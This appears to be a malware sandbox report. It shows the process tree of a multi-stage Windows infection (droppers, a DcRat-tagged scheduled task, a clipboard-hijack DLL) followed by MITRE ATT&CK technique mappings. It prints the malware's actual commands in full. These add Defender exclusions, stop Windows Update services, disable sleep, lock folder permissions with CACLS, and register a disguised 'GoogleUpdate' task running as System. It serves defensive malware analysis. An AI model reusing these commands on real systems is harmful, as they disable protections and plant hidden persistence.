        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffeb46e46f8,0x7ffeb46e4708,0x7ffeb46e4718
        6⤵
        
        PID:3864
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1936,8703550239853046332,11283016771852560260,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
        6⤵
        
        PID:2172
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1936,8703550239853046332,11283016771852560260,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
        6⤵
        
        PID:4456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
        5⤵
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3328
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffeb46e46f8,0x7ffeb46e4708,0x7ffeb46e4718
        6⤵
        
        PID:4596
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 /prefetch:3
        6⤵
        
        PID:4524
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
        6⤵
        
        PID:464
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
        6⤵
        
        PID:1136
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        6⤵
        
        PID:228
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
        6⤵
        
        PID:3252
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3904 /prefetch:1
        6⤵
        
        PID:4816
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
        6⤵
        
        PID:4336
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5628 /prefetch:8
        6⤵
        
        PID:732
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5628 /prefetch:8
        6⤵
        
        PID:4808
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:1
        6⤵
        
        PID:2836
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5696 /prefetch:1
        6⤵
        
        PID:3140
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
        6⤵
        
        PID:3252
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4956 /prefetch:1
        6⤵
        
        PID:4132
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
        6⤵
        
        PID:4872
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5780 /prefetch:1
        6⤵
        
        PID:2620
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,13013268048595342115,5411365208614418253,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6100 /prefetch:1
        6⤵
        
        PID:4916
- C:\Users\Admin\AppData\Local\Temp\79AF.exe
  C:\Users\Admin\AppData\Local\Temp\79AF.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:3872
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\uv7dY9Fo.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\uv7dY9Fo.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:1984
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\ZL9kn1Yn.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\ZL9kn1Yn.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:4760
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Mu7zq6cw.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Mu7zq6cw.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4452
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\XA8WM2oH.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\XA8WM2oH.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Zk48XN8.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Zk48XN8.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4036
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:5332
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5332 -s 540
        9⤵
        Program crash
        
        PID:5432
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 564
        8⤵
        Program crash
        
        PID:5396
        
        C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2RD586fG.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2RD586fG.exe
        7⤵
        Executes dropped EXE
        
        PID:5916
- C:\Users\Admin\AppData\Local\Temp\7FEA.exe
  C:\Users\Admin\AppData\Local\Temp\7FEA.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5104
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:212
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5104 -s 248
    3⤵
    - Program crash
    PID:400
- C:\Users\Admin\AppData\Local\Temp\851B.bat
  "C:\Users\Admin\AppData\Local\Temp\851B.bat"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8C3D.tmp\8C3E.tmp\8C3F.bat C:\Users\Admin\AppData\Local\Temp\851B.bat"
    3⤵
    PID:1664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
      4⤵
      PID:452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffeb46e46f8,0x7ffeb46e4708,0x7ffeb46e4718
        5⤵
        
        PID:1000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
      4⤵
      PID:2836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffeb46e46f8,0x7ffeb46e4708,0x7ffeb46e4718
        5⤵
        
        PID:3636
- C:\Users\Admin\AppData\Local\Temp\8E34.exe
  C:\Users\Admin\AppData\Local\Temp\8E34.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4224
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:5440
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:5448
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:5456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4224 -s 288
    3⤵
    - Program crash
    PID:5616
- C:\Users\Admin\AppData\Local\Temp\928B.exe
  C:\Users\Admin\AppData\Local\Temp\928B.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of AdjustPrivilegeToken
  PID:5152
- C:\Users\Admin\AppData\Local\Temp\98F4.exe
  C:\Users\Admin\AppData\Local\Temp\98F4.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5272
- - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
    "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4000
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:5364
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
      4⤵
      PID:5108
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:5568
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:N"
        5⤵
        
        PID:3028
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:R" /E
        5⤵
        
        PID:5636
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:5664
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        5⤵
        
        PID:4656
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        5⤵
        
        PID:5684
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      4⤵
      PID:5336
- C:\Users\Admin\AppData\Local\Temp\BF0B.exe
  C:\Users\Admin\AppData\Local\Temp\BF0B.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5392
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    PID:5464
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:1728
- - C:\Users\Admin\AppData\Local\Temp\kos1.exe
    "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4868
  - - C:\Users\Admin\AppData\Local\Temp\set16.exe
      "C:\Users\Admin\AppData\Local\Temp\set16.exe"
      4⤵
      Executes dropped EXE
      PID:212
    - - C:\Users\Admin\AppData\Local\Temp\is-H7PRV.tmp\is-BDO3Q.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-H7PRV.tmp\is-BDO3Q.tmp" /SL4 $110226 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:3780
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        6⤵
        
        PID:6132
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        7⤵
        
        PID:1256
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        6⤵
        Executes dropped EXE
        
        PID:2808
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        6⤵
        
        PID:4516
  - - C:\Users\Admin\AppData\Local\Temp\kos.exe
      "C:\Users\Admin\AppData\Local\Temp\kos.exe"
      4⤵
      Executes dropped EXE
      PID:992
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:3844
- C:\Users\Admin\AppData\Local\Temp\F261.exe
  C:\Users\Admin\AppData\Local\Temp\F261.exe
  2⤵
  - Executes dropped EXE
  PID:4568
- C:\Users\Admin\AppData\Local\Temp\59C.exe
  C:\Users\Admin\AppData\Local\Temp\59C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5852
- C:\Users\Admin\AppData\Local\Temp\1D1C.exe
  C:\Users\Admin\AppData\Local\Temp\1D1C.exe
  2⤵
  - Executes dropped EXE
  PID:6028
- C:\Users\Admin\AppData\Local\Temp\2924.exe
  C:\Users\Admin\AppData\Local\Temp\2924.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5168
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:2724
- C:\Users\Admin\AppData\Local\Temp\3123.exe
  C:\Users\Admin\AppData\Local\Temp\3123.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5428
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5428 -s 792
    3⤵
    - Program crash
    PID:6136
- C:\Users\Admin\AppData\Local\Temp\3664.exe
  C:\Users\Admin\AppData\Local\Temp\3664.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Users\Admin\AppData\Local\Temp\3C80.exe
  C:\Users\Admin\AppData\Local\Temp\3C80.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3836
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2524
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2536
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2540
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5512
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4444
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5688
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5780
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2808
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:5816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4508 -ip 4508
1⤵
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1724 -ip 1724
1⤵
PID:1940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3368 -ip 3368
1⤵
PID:3412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3716 -ip 3716
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1972 -ip 1972
1⤵
PID:4240

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1016

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5104 -ip 5104
1⤵
PID:4660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4036 -ip 4036
1⤵
PID:5348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5332 -ip 5332
1⤵
PID:5388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4224 -ip 4224
1⤵
PID:5488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5428 -ip 5428
1⤵
PID:5992

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
- Executes dropped EXE
PID:5700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Scripting

T1064

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery